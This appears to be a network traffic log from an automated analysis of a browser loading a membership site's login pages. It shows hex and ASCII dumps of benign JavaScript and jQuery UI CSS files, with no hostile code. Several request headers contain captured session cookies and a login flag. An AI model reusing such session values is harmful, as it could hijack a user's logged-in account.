2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 68 69 73 2e 6f 66 66 73 65 74 48 65 69 67 68 74 20 2f 20 32 29 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 73 63 72 6f 6c 6c 54 6f 70 20 2b 20 22 70 78 22 27 29 3b 0a 0a 09 09 09 74 68 69 73 2e 6f 76 65 72 6c 61 79 2e 73 65 74 53 74 79 6c 65 73 28 7b 0a 09 09 09 09 70 6f 73 69 74 69 6f 6e 3a 20 27 61 62 73 6f 6c 75 74 65 27 2c 0a 09 09 09 09 74 6f 70 3a 20 27 30 25 27 2c 0a 09 09 09 09 6c 65 66 74 3a 20 27 30 25 27 0a 09 09 09 09 2f 2f 2c 6d 61 72 67 69 6e 54 6f 70 3a 20 22 65 78 70 72 65 73 73 69 6f 6e 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 73 63 72 6f 6c 6c 54 6f 70 20 2b 20 27 70 78 27 29 22 0a 09 09 09 7d 29 3b 0a 0a 09 09 09 74 68 69 73 2e 77 69 6e 64 6f 77 2e 73 65 74 53 Data Ascii: his.offsetHeight / 2) + document.documentElement.scrollTop + "px"');this.overlay.setStyles({position: 'absolute',top: '0%',left: '0%'//,marginTop: "expression(document.documentElement.scrollTop + 'px')"});this.window.setS
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6c 20 7c 7c 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 68 72 65 66 29 20 3a 20 65 6c 29 20 7c 7c 20 27 27 3b 0a 0a 09 09 69 66 20 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 68 61 6e 64 6c 65 72 29 20 7b 0a 09 09 09 76 61 72 20 68 61 6e 64 6c 65 72 20 3d 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 68 61 6e 64 6c 65 72 3b 0a 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 2e 73 65 74 43 6f 6e 74 65 6e 74 28 68 61 6e 64 6c 65 72 2c 20 74 68 69 73 2e 70 61 72 73 65 72 73 5b 68 61 6e 64 6c 65 72 5d 2e 63 61 6c 6c 28 74 68 69 73 2c 20 74 72 75 65 29 29 3b 0a 09 09 7d 0a 09 09 76 61 72 20 72 65 73 20 3d 20 66 61 6c 73 65 3b 0a 09 09 66 6f 72 20 28 76 61 72 20 6b 65 79 20 69 6e 20 74 68 69 73 2e 70 61 72 73 65 72 73 29 20 7b 0a 09 09 09 69 66 20 28 28 72 65 73 20 3d 20 74 Data Ascii: l \|\| this.element.href) : el) \|\| '';if (this.options.handler) {var handler = this.options.handler;return this.setContent(handler, this.parsers[handler].call(this, true));}var res = false;for (var key in this.parsers) {if ((res = t
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 75 72 6e 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 7d 2c 20 74 68 69 73 29 3b 0a 20 20 20 20 7d 2c 0a 0a 09 63 6c 6f 73 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 09 09 69 66 20 28 65 29 20 6e 65 77 20 45 76 65 6e 74 28 65 29 2e 73 74 6f 70 28 29 3b 0a 09 09 69 66 20 28 21 74 68 69 73 2e 69 73 4f 70 65 6e 29 20 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 74 68 69 73 2e 66 78 2e 6f 76 65 72 6c 61 79 2e 73 74 61 72 74 28 30 29 2e 63 68 61 69 6e 28 74 68 69 73 2e 74 6f 67 67 6c 65 4f 76 65 72 6c 61 79 2e 62 69 6e 64 28 74 68 69 73 29 29 3b 0a 09 09 74 68 69 73 2e 77 69 6e 64 6f 77 2e 73 65 74 53 74 79 6c 65 28 27 64 69 73 70 6c Data Ascii: urn true; } return false; }, this); },close: function(e) {if (e) new Event(e).stop();if (!this.isOpen) return this;this.fx.overlay.start(0).chain(this.toggleOverlay.bind(this));this.window.setStyle('displ
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 5d 2c 20 32 30 29 3b 0a 09 09 7d 0a 09 09 74 68 69 73 2e 63 6f 6e 74 65 6e 74 2e 65 6d 70 74 79 28 29 5b 5b 27 73 74 72 69 6e 67 27 2c 20 27 61 72 72 61 79 27 2c 20 66 61 6c 73 65 5d 2e 63 6f 6e 74 61 69 6e 73 28 24 74 79 70 65 28 63 6f 6e 74 65 6e 74 29 29 20 3f 20 27 73 65 74 48 54 4d 4c 27 20 3a 20 27 61 64 6f 70 74 27 5d 28 63 6f 6e 74 65 6e 74 20 7c 7c 20 27 27 29 3b 0a 09 09 74 68 69 73 2e 63 61 6c 6c 43 68 61 69 6e 28 29 3b 0a 09 09 69 66 20 28 21 74 68 69 73 2e 69 73 4f 70 65 6e 29 20 7b 0a 09 09 09 74 68 69 73 2e 74 6f 67 67 6c 65 4c 69 73 74 65 6e 65 72 73 28 74 72 75 65 29 3b 0a 09 09 09 74 68 69 73 2e 72 65 73 69 7a 65 28 73 69 7a 65 2c 20 74 72 75 65 29 3b 0a 09 09 09 74 68 69 73 2e 69 73 4f 70 65 6e 20 3d 20 74 72 75 65 3b Data Ascii: ontent], 20);}this.content.empty()[['string', 'array', false].contains($type(content)) ? 'setHTML' : 'adopt'](content \|\| '');this.callChain();if (!this.isOpen) {this.toggleListeners(true);this.resize(size, true);this.isOpen = true;
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 69 73 2e 6c 69 73 74 65 6e 65 72 73 2e 6b 65 79 29 3b 0a 09 09 77 69 6e 64 6f 77 5b 74 61 73 6b 5d 28 27 72 65 73 69 7a 65 27 2c 20 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 2e 77 69 6e 64 6f 77 29 3b 0a 09 09 77 69 6e 64 6f 77 5b 74 61 73 6b 5d 28 27 73 63 72 6f 6c 6c 27 2c 20 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 2e 77 69 6e 64 6f 77 29 3b 0a 09 7d 2c 0a 0a 09 74 6f 67 67 6c 65 4c 6f 61 64 69 6e 67 3a 20 66 75 6e 63 74 69 6f 6e 28 73 74 61 74 65 29 20 7b 0a 09 09 74 68 69 73 2e 69 73 4c 6f 61 64 69 6e 67 20 3d 20 73 74 61 74 65 3b 0a 09 09 74 68 69 73 2e 77 69 6e 64 6f 77 5b 73 74 61 74 65 20 3f 20 27 61 64 64 43 6c 61 73 73 27 20 3a 20 27 72 65 6d 6f 76 65 43 6c 61 73 73 27 5d 28 27 73 62 6f 78 2d 6c 6f 61 64 69 6e 67 27 29 3b 0a 09 09 69 66 20 28 Data Ascii: is.listeners.key);window[task]('resize', this.listeners.window);window[task]('scroll', this.listeners.window);},toggleLoading: function(state) {this.isLoading = state;this.window[state ? 'addClass' : 'removeClass']('sbox-loading');if (
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 65 73 2e 73 69 7a 65 2e 78 2c 0a 09 09 09 68 65 69 67 68 74 3a 20 73 69 7a 65 73 2e 73 69 7a 65 2e 79 0a 09 09 7d 29 3b 0a 09 09 2f 2a 0a 09 09 74 68 69 73 2e 77 69 6e 64 6f 77 2e 73 65 74 53 74 79 6c 65 73 28 7b 0a 09 09 09 6c 65 66 74 3a 20 28 73 69 7a 65 73 2e 73 63 72 6f 6c 6c 2e 78 20 2b 20 28 73 69 7a 65 73 2e 73 69 7a 65 2e 78 20 2d 20 74 68 69 73 2e 77 69 6e 64 6f 77 2e 6f 66 66 73 65 74 57 69 64 74 68 29 20 2f 20 32 29 2e 74 6f 49 6e 74 28 29 2c 0a 09 09 09 74 6f 70 3a 20 28 73 69 7a 65 73 2e 73 63 72 6f 6c 6c 2e 79 20 2b 20 28 73 69 7a 65 73 2e 73 69 7a 65 2e 79 20 2d 20 74 68 69 73 2e 77 69 6e 64 6f 77 2e 6f 66 66 73 65 74 48 65 69 67 68 74 29 20 2f 20 32 29 2e 74 6f 49 6e 74 28 29 0a 09 09 7d 29 3b 0a 09 09 2a 2f 0a 09 09 74 68 69 73 2e 66 69 Data Ascii: es.size.x,height: sizes.size.y});/this.window.setStyles({left: (sizes.scroll.x + (sizes.size.x - this.window.offsetWidth) / 2).toInt(),top: (sizes.scroll.y + (sizes.size.y - this.window.offsetHeight) / 2).toInt()});/this.fi
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 73 74 72 69 6e 67 27 3a 20 66 75 6e 63 74 69 6f 6e 28 70 72 65 73 65 74 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 74 72 75 65 3b 0a 09 09 7d 0a 09 7d 2c 0a 0a 09 68 61 6e 64 6c 65 72 73 3a 20 7b 0a 09 09 27 69 6d 61 67 65 27 3a 20 66 75 6e 63 74 69 6f 6e 28 75 72 6c 29 20 7b 0a 09 09 09 74 68 69 73 2e 69 6d 61 67 65 20 3d 20 6e 65 77 20 49 6d 61 67 65 28 29 3b 0a 09 09 09 76 61 72 20 65 76 65 6e 74 73 20 3d 20 7b 0a 09 09 09 09 6c 6f 61 64 65 64 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 76 61 72 20 77 69 6e 20 3d 20 7b 78 3a 20 77 69 6e 64 6f 77 2e 67 65 74 57 69 64 74 68 28 29 20 2d 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 6d 61 72 67 69 6e 49 6d 61 67 65 2e 78 2c 20 79 3a 20 77 69 6e 64 6f 77 2e 67 65 74 48 65 69 67 68 74 28 29 20 2d Data Ascii: string': function(preset) {return true;}},handlers: {'image': function(url) {this.image = new Image();var events = {loaded: function() {var win = {x: window.getWidth() - this.options.marginImage.x, y: window.getHeight() -
2024-04-23 14:54:00 UTC	543	IN	Data Raw: 68 69 73 2e 61 6a 61 78 20 3d 20 6e 75 6c 6c 3b 0a 09 09 09 7d 2e 62 69 6e 64 28 74 68 69 73 29 29 3b 0a 09 09 09 74 68 69 73 2e 61 6a 61 78 2e 61 64 64 45 76 65 6e 74 28 27 6f 6e 46 61 69 6c 75 72 65 27 2c 20 74 68 69 73 2e 6f 6e 45 72 72 6f 72 2e 62 69 6e 64 28 74 68 69 73 29 29 3b 0a 09 09 09 74 68 69 73 2e 61 6a 61 78 2e 72 65 71 75 65 73 74 2e 64 65 6c 61 79 28 31 30 2c 20 74 68 69 73 2e 61 6a 61 78 29 3b 0a 09 09 7d 2c 0a 09 09 27 69 66 72 61 6d 65 27 3a 20 66 75 6e 63 74 69 6f 6e 28 75 72 6c 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 6e 65 77 20 45 6c 65 6d 65 6e 74 28 27 69 66 72 61 6d 65 27 2c 20 7b 0a 09 09 09 09 27 73 72 63 27 3a 20 75 72 6c 2c 0a 09 09 09 09 27 66 72 61 6d 65 42 6f 72 64 65 72 27 3a 20 30 2c 0a 09 09 09 09 27 77 69 64 74 68 27 Data Ascii: his.ajax = null;}.bind(this));this.ajax.addEvent('onFailure', this.onError.bind(this));this.ajax.request.delay(10, this.ajax);},'iframe': function(url) {return new Element('iframe', {'src': url,'frameBorder': 0,'width'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.6	49913	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	726	OUT	GET /jmc-assets/global-js/hoverIntent.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 3174 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Wed, 13 Feb 2013 19:15:05 GMT etag: "c66-4d59ff5ab4040" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb70aaaadb0-ATL
2024-04-23 14:54:00 UTC	842	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 2f 2a 20 68 6f 76 65 72 49 6e 74 65 6e 74 20 62 79 20 42 72 69 61 6e 20 43 68 65 72 6e 65 20 2a 2f 0a 09 24 2e 66 6e 2e 68 6f 76 65 72 49 6e 74 65 6e 74 20 3d 20 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 20 7b 0a 09 09 2f 2f 20 64 65 66 61 75 6c 74 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 73 0a 09 09 76 61 72 20 63 66 67 20 3d 20 7b 0a 09 09 09 73 65 6e 73 69 74 69 76 69 74 79 3a 20 37 2c 0a 09 09 09 69 6e 74 65 72 76 61 6c 3a 20 31 30 30 2c 0a 09 09 09 74 69 6d 65 6f 75 74 3a 20 30 0a 09 09 7d 3b 0a 09 09 2f 2f 20 6f 76 65 72 72 69 64 65 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 73 20 77 69 74 68 20 75 73 65 72 20 73 75 70 70 6c 69 65 64 20 6f 62 6a 65 63 74 0a 09 09 63 Data Ascii: (function($){/* hoverIntent by Brian Cherne */$.fn.hoverIntent = function(f,g) {// default configuration optionsvar cfg = {sensitivity: 7,interval: 100,timeout: 0};// override configuration options with user supplied objectc
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 66 20 74 68 65 79 27 76 65 20 63 72 6f 73 73 65 64 20 74 68 65 20 74 68 72 65 73 68 6f 6c 64 0a 09 09 09 69 66 20 28 20 28 20 4d 61 74 68 2e 61 62 73 28 70 58 2d 63 58 29 20 2b 20 4d 61 74 68 2e 61 62 73 28 70 59 2d 63 59 29 20 29 20 3c 20 63 66 67 2e 73 65 6e 73 69 74 69 76 69 74 79 20 29 20 7b 0a 09 09 09 09 24 28 6f 62 29 2e 75 6e 62 69 6e 64 28 22 6d 6f 75 73 65 6d 6f 76 65 22 2c 74 72 61 63 6b 29 3b 0a 09 09 09 09 2f 2f 20 73 65 74 20 68 6f 76 65 72 49 6e 74 65 6e 74 20 73 74 61 74 65 20 74 6f 20 74 72 75 65 20 28 73 6f 20 6d 6f 75 73 65 4f 75 74 20 63 61 6e 20 62 65 20 63 61 6c 6c 65 64 29 0a 09 09 09 09 6f 62 2e 68 6f 76 65 72 49 6e 74 65 6e 74 5f 73 20 3d 20 31 3b 0a 09 09 09 09 72 65 74 75 72 6e 20 63 66 67 2e 6f 76 65 72 2e 61 70 70 6c 79 28 6f Data Ascii: f they've crossed the thresholdif ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {$(ob).unbind("mousemove",track);// set hoverIntent state to true (so mouseOut can be called)ob.hoverIntent_s = 1;return cfg.over.apply(o
2024-04-23 14:54:00 UTC	963	IN	Data Raw: 72 54 69 6d 65 6f 75 74 28 6f 62 2e 68 6f 76 65 72 49 6e 74 65 6e 74 5f 74 29 3b 20 7d 0a 0a 09 09 09 2f 2f 20 65 6c 73 65 20 65 2e 74 79 70 65 20 3d 3d 20 22 6f 6e 6d 6f 75 73 65 6f 76 65 72 22 0a 09 09 09 69 66 20 28 65 2e 74 79 70 65 20 3d 3d 20 22 6d 6f 75 73 65 6f 76 65 72 22 29 20 7b 0a 09 09 09 09 2f 2f 20 73 65 74 20 22 70 72 65 76 69 6f 75 73 22 20 58 20 61 6e 64 20 59 20 70 6f 73 69 74 69 6f 6e 20 62 61 73 65 64 20 6f 6e 20 69 6e 69 74 69 61 6c 20 65 6e 74 72 79 20 70 6f 69 6e 74 0a 09 09 09 09 70 58 20 3d 20 65 76 2e 70 61 67 65 58 3b 20 70 59 20 3d 20 65 76 2e 70 61 67 65 59 3b 0a 09 09 09 09 2f 2f 20 75 70 64 61 74 65 20 22 63 75 72 72 65 6e 74 22 20 58 20 61 6e 64 20 59 20 70 6f 73 69 74 69 6f 6e 20 62 61 73 65 64 20 6f 6e 20 6d 6f 75 73 65 Data Ascii: rTimeout(ob.hoverIntent_t); }// else e.type == "onmouseover"if (e.type == "mouseover") {// set "previous" X and Y position based on initial entry pointpX = ev.pageX; pY = ev.pageY;// update "current" X and Y position based on mouse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.6	49914	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	771	OUT	GET /includes/css/themes/base/ui.base.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.all.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:01 UTC	526	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:01 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"fa-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:01 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafb86e9353ab-ATL
2024-04-23 14:54:01 UTC	256	IN	Data Raw: 66 61 0d 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 75 69 2e 63 6f 72 65 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 75 69 2e 72 65 73 69 7a 61 62 6c 65 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 75 69 2e 61 63 63 6f 72 64 69 6f 6e 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 75 69 2e 64 69 61 6c 6f 67 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 75 69 2e 73 6c 69 64 65 72 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 75 69 2e 74 61 62 73 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 75 69 2e 64 61 74 65 70 69 63 6b 65 72 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 75 69 2e 70 72 6f 67 72 65 73 73 62 61 72 2e 63 73 73 22 29 3b 0d Data Ascii: fa@import url("ui.core.css");@import url("ui.resizable.css");@import url("ui.accordion.css");@import url("ui.dialog.css");@import url("ui.slider.css");@import url("ui.tabs.css");@import url("ui.datepicker.css");@import url("ui.progressbar.css");
2024-04-23 14:54:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.6	49915	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:01 UTC	772	OUT	GET /includes/css/themes/base/ui.theme.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.all.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:01 UTC	528	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:01 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"3f6a-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:01 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafb9c8941d62-ATL
2024-04-23 14:54:01 UTC	841	IN	Data Raw: 33 66 36 61 0d 0a 0a 0a 2f 2a 0a 2a 20 6a 51 75 65 72 79 20 55 49 20 43 53 53 20 46 72 61 6d 65 77 6f 72 6b 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 41 55 54 48 4f 52 53 2e 74 78 74 20 28 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 2f 61 62 6f 75 74 29 0a 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 28 4d 49 54 2d 4c 49 43 45 4e 53 45 2e 74 78 74 29 20 61 6e 64 20 47 50 4c 20 28 47 50 4c 2d 4c 49 43 45 4e 53 45 2e 74 78 74 29 20 6c 69 63 65 6e 73 65 73 2e 0a 2a 20 54 6f 20 76 69 65 77 20 61 6e 64 20 6d 6f 64 69 66 79 20 74 68 69 73 20 74 68 65 6d 65 2c 20 76 69 73 69 74 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 2f 74 68 65 6d 65 72 6f 6c 6c 65 72 2f 0a 2a Data Ascii: 3f6a/** jQuery UI CSS Framework* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)* Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt) licenses.* To view and modify this theme, visit http://jqueryui.com/themeroller/*
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 2a 7b 66 63 43 6f 6e 74 65 6e 74 7d 2a 2f 3b 20 7d 0a 2e 75 69 2d 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 20 61 20 7b 20 63 6f 6c 6f 72 3a 20 23 32 32 32 32 32 32 2f 2a 7b 66 63 43 6f 6e 74 65 6e 74 7d 2a 2f 3b 20 7d 0a 2e 75 69 2d 77 69 64 67 65 74 2d 68 65 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 61 61 61 61 61 61 2f 2a 7b 62 6f 72 64 65 72 43 6f 6c 6f 72 48 65 61 64 65 72 7d 2a 2f 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 63 63 63 63 63 63 2f 2a 7b 62 67 43 6f 6c 6f 72 48 65 61 64 65 72 7d 2a 2f 20 75 72 6c 28 69 6d 61 67 65 73 2f 75 69 2d 62 67 5f 68 69 67 68 6c 69 67 68 74 2d 73 6f 66 74 5f 37 35 5f 63 63 63 63 63 63 5f 31 78 31 30 30 2e 70 6e 67 29 2f 2a 7b 62 67 49 6d 67 55 72 6c 48 65 61 64 65 72 7d 2a 2f Data Ascii: {fcContent}/; }.ui-widget-content a { color: #222222/{fcContent}/; }.ui-widget-header { border: 1px solid #aaaaaa/{borderColorHeader}/; background: #cccccc/{bgColorHeader}/ url(images/ui-bg_highlight-soft_75_cccccc_1x100.png)/{bgImgUrlHeader}/
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 77 44 65 66 61 75 6c 74 7d 2a 2f 3b 20 63 6f 6c 6f 72 3a 20 23 32 31 32 31 32 31 2f 2a 7b 66 63 48 6f 76 65 72 7d 2a 2f 3b 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 20 7d 0a 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 2c 20 2e 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 20 61 3a 68 6f 76 65 72 20 7b 20 63 6f 6c 6f 72 3a 20 23 32 31 32 31 32 31 2f 2a 7b 66 63 48 6f 76 65 72 7d 2a 2f 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 20 7d 0a 2e 75 69 2d 73 74 61 74 65 2d 61 63 74 69 76 65 2c 20 2e 75 69 2d 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 20 2e 75 69 2d 73 74 61 74 65 2d 61 63 74 69 76 65 20 7b 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 61 61 61 61 61 61 2f Data Ascii: wDefault}/; color: #212121/{fcHover}/; outline: none; }.ui-state-hover a, .ui-state-hover a:hover { color: #212121/{fcHover}*/; text-decoration: none; outline: none; }.ui-state-active, .ui-widget-content .ui-state-active { border: 1px solid #aaaaaa/
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 62 67 49 6d 67 55 72 6c 45 72 72 6f 72 7d 2a 2f 20 35 30 25 2f 2a 7b 62 67 45 72 72 6f 72 58 50 6f 73 7d 2a 2f 20 35 30 25 2f 2a 7b 62 67 45 72 72 6f 72 59 50 6f 73 7d 2a 2f 20 72 65 70 65 61 74 2d 78 2f 2a 7b 62 67 45 72 72 6f 72 52 65 70 65 61 74 7d 2a 2f 3b 20 63 6f 6c 6f 72 3a 20 23 63 64 30 61 30 61 2f 2a 7b 66 63 45 72 72 6f 72 7d 2a 2f 3b 20 7d 0a 2e 75 69 2d 73 74 61 74 65 2d 65 72 72 6f 72 20 61 2c 20 2e 75 69 2d 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 20 2e 75 69 2d 73 74 61 74 65 2d 65 72 72 6f 72 20 61 20 7b 20 63 6f 6c 6f 72 3a 20 23 63 64 30 61 30 61 2f 2a 7b 66 63 45 72 72 6f 72 7d 2a 2f 3b 20 7d 0a 2e 75 69 2d 73 74 61 74 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 20 2e 75 69 2d 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 20 2e 75 69 2d 73 74 Data Ascii: bgImgUrlError}/ 50%/{bgErrorXPos}/ 50%/{bgErrorYPos}/ repeat-x/{bgErrorRepeat}/; color: #cd0a0a/{fcError}/; }.ui-state-error a, .ui-widget-content .ui-state-error a { color: #cd0a0a/{fcError}*/; }.ui-state-error-text, .ui-widget-content .ui-st
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 2a 7b 69 63 6f 6e 73 41 63 74 69 76 65 7d 2a 2f 3b 20 7d 0a 2e 75 69 2d 73 74 61 74 65 2d 68 69 67 68 6c 69 67 68 74 20 2e 75 69 2d 69 63 6f 6e 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 69 6d 61 67 65 73 2f 75 69 2d 69 63 6f 6e 73 5f 32 65 38 33 66 66 5f 32 35 36 78 32 34 30 2e 70 6e 67 29 2f 2a 7b 69 63 6f 6e 73 48 69 67 68 6c 69 67 68 74 7d 2a 2f 3b 20 7d 0a 2e 75 69 2d 73 74 61 74 65 2d 65 72 72 6f 72 20 2e 75 69 2d 69 63 6f 6e 2c 20 2e 75 69 2d 73 74 61 74 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 2e 75 69 2d 69 63 6f 6e 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 69 6d 61 67 65 73 2f 75 69 2d 69 63 6f 6e 73 5f 63 64 30 61 30 61 5f 32 35 36 78 32 34 30 2e 70 6e 67 29 2f 2a 7b 69 63 6f 6e 73 45 72 Data Ascii: {iconsActive}/; }.ui-state-highlight .ui-icon {background-image: url(images/ui-icons_2e83ff_256x240.png)/{iconsHighlight}/; }.ui-state-error 